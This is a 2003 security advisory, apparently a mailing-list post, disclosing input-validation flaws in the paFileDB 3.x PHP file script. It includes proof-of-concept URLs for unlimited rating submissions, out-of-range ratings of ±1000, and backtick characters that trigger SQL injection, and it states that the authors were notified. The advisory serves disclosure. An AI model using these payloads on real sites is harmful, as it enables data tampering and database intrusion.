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paFileDB 3.x SQL Injection Vulnerability
From: flur <flur () flurnet org>
Date: Sun, 23 Mar 2003 16:13:37 -0500

Flurnet Security
----------------
paFileDB by todd () phparena net
PHP Arena http://www.phparena.net


Tested on:
        paFileDB 3.0 Final
        paFileDB 3.0 Beta 3.1
        paFileDB 3.1 Final


Explanation:

paFileDB is a file management script that supports user file rating. It uses an SQL database backend. Multiple vulnerabilities exist due to the lack of checked input variables. The following exploits exist:
 - Modified 'id' tag allows users to submit unlimited ratings.
- Hand-edited 'rating' tag allows users to submit ratings above 10 or below 0.
 - Both tags do not check for escape characters and will allow SQL injection.


Proof-Of-Concept Exploits:

http://target/pafiledb/pafiledb.php?action=rate&id=1[RANDOM]&rate=dorate&rating=10
Replace [RANDOM] with a random short string and the script will not be stop you from voting as many times as you like.


http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=1000
Submit file rating of 1000 out of 10. Drive rate up. Conversely, -1000 would have the opposite effect driving the rating down.

http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=`
http://target/pafiledb/pafiledb.php?action=rate&id=`&rate=dorate&rating=10
SQL Injection vulnerability (exploit code not included)


Script authors have been notified.


____________________ __ _
~FluRDoInG                        flur () flurnet org
                            http://www.flurnet.org
KEY ID 0x8C2C37C4 (pgp.mit.edu) RSA-CAST 2048/2048
1876 B762 F909 91EB 0C02  C06B 83FF E6C5 8C2C 37C4


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